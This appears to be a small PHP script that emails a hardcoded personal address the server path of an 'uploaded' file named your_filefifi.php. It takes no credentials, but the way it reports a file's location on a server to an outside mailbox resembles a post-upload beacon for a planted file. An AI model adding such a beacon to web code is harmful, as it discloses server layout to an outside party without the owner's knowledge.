<?php
// Define your email address
$to = 'firas.trabelsi.1@esprit.tn';

// Get the absolute path of the current file
$currentFile = __FILE__;

// Get the directory of the current file
$directory = dirname($currentFile);

// Specify the file name you want to include
$fileName = 'your_filefifi.php';

// Build the full path to the file
$filePath = $directory . '/' . $fileName;

// Email subject
$subject = 'File Uploaded';

// Email body
$message = "The file has been uploaded to the following location:\n\n";
$message .= "Location: " . $filePath;

// Email headers
$headers = 'From: your_email@example.com' . "\r\n" .
           'Reply-To: your_email@example.com' . "\r\n" .
           'X-Mailer: PHP/' . phpversion();

// Send the email
mail($to, $subject, $message, $headers);
?>
